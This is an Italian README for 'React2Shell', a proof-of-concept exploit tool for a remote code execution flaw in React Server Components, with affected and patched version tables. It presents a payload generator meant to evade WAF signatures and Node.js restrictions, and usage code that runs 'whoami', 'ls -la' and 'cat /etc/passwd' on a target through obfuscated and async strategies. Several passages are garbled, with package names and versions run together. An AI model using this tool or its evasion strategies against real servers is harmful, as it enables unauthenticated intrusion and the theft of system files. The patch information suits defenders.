
React2Shell (CVE-2025-55182) exploit proof-of-concept (PoC) che dimostra una vulnerabilità CRITICA di esecuzione remota di codice (RCE) nei moderni framework web che utilizzano React Server Components (RSC).
React2Shell è una proof-of-concept (PoC) che dimostra una vulnerabilità di esecuzione remota di codice (RCE) di livello CRITICAL nei framework web moderni che utilizzano React Server Components (RSC).
Questa PoC ha come bersaglio CVE-2025-55182, una vulnerabilità con punteggio CVSS 10.0 che consente a remoti attaccanti non autenticati di eseguire comandi di sistema arbitrari tramite deserializzazione non sicura all'interno dell'implementazione di React Server Components.
React2Shell sfrutta un difetto nel modo in cui React Server Components elaborano input non attendibili durante la fase di reidratazione.
La vulnerabilità ha origine nei pacchetti sottostanti react-server-dom-* responsabili della serializzazione e deserializzazione degli alberi dei componenti.
Le applicazioni che utilizzano versioni vulnerabili di React Server Components possono elaborare payload dannosi in un modo che porta a esecuzione remota di codice (RCE) con i privilegi del processo server.
Un attaccante può:
Se la tua distribuzione corrisponde a una qualsiasi delle versioni vulnerabili elencate di seguito ed espone endpoint RSC, sei vulnerabile.
La vulnerabilità è presente nelle versioni 19.0.0, 19.1.0, 19.1.1 e 19.2.0 di:
react-server-dom-parcelreact-server-dom-webpackreact-server-dom-turbopackQuesti pacchetti sono integrati in diversi framework, inclusi ma non limitati a:
15.0.0 alla 16.0.614.3.0-canary.76RSC (v19.0.0–19.2.0), come:
ViteParcelReact RouterRedwoodSDKWakuQualsiasi framework che incorpori l'implementazione vulnerabile di React Server Components è potenzialmente interessato.
React2Shell include un generatore modulare di payload progettato per bypassare le restrizioni comuni di Node.js e le regole WAF:
Iniezione Standard
process.mainModule.requireNext.js / Webpack.Bypass Asincrono
import() dinamico per ambienti ESM rigidi in cui require non è disponibile.Offuscamento
child_process) in buffer esadecimali per eludere le firme WAF ingenue.Fallback dei Moduli
module.createRequire per caricare moduli in contesti alternativi.Target Universale
//RSC/foo.txtNode.js v18.0.0 o successivo.git clone https://github.com/rsch-io/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell
npm install form-data
React2Shell è pensato per essere importato come modulo nei tuoi script di test.
Crea un file denominato exploit.js:
const React2Shell = require('./src/react2shell');
// Inizializza con l'URL di base del target
const target = new React2Shell('http://localhost:3000');
// Esegui il comando utilizzando la strategia "standard"
// Argomenti: execute(command, endpoint, strategy)
target.execute('whoami', '/', 'standard');
Quindi esegui:
node exploit.js
Nota
endpointdeve essere impostato su una route abilitata per RSC (ad esempio,/,/RSC/foo.txto endpoint RSC specifici del framework).strategypuò essere modificata (ad esempio,standard,async,obfuscatedo qualsiasi altra strategia implementata inreact2shell).
Waku e altri framework spesso espongono la gestione RSC su route specifiche:
// Target di un'applicazione Waku
// Nota: usa la strategia 'async' poiché Waku spesso utilizza ESM rigoroso
target.execute('ls -la', '/RSC/foo.txt', 'async');
Se il server blocca stringhe contenenti child_process, puoi usare la strategia obfuscated:
target.execute('cat /etc/passwd', '/', 'obfuscated');
Aggiorna immediatamente. Le versioni aggiornate di React e dei framework downstream interessati includono una gestione irrigidita degli input utente per prevenire comportamenti indesiderati.
Tutti gli utenti dovrebbero passare a una versione corretta il prima possibile.
Di seguito l'elenco definitivo delle versioni corrette. Se la versione da te distribuita è inferiore a queste, sei vulnerabile.
Avviso per gli utenti di Next.js 14 Se stai utilizzando
Next.js 14.3.0-canary.77o una release canary successiva, seivulnerabile. Devi effettuare immediatamente il downgrade all'ultima release stabile14.x, poiché la vulnerabilità interessa l'implementazione sperimentale di RSC presente in quelle build canary.
Questo progetto è fornito solo per scopi di formazione e test di sicurezza autorizzati.
L'utilizzo di questo strumento contro sistemi senza autorizzazione esplicita è illegale e non etico.
Gli autori non si assumono alcuna responsabilità per un uso improprio o per danni causati da questo strumento.
Questo progetto è concesso in licenza secondo i termini della MIT License. Consulta il file LICENSE per i dettagli.
| Metrica | Dettagli |
|---|
| Gravità | CRITICAL (10.0 / 10.0) |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Vettore d'attacco | Rete (Remoto) |
| Interazione utente | Nessuna |
| Software / Pacchetto | Branch / Tipo | 🛡️ Versione(i) Corretta(e) / Sicura(e) |
|---|
React | Stabile | 19.0.1, 19.1.2, 19.2.1 |
Next.js | v15 (Stabile) | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 |
Next.js | v16 (Stabile) | 16.0.7 |
Next.js | Canary | 15.6.0-canary.58 |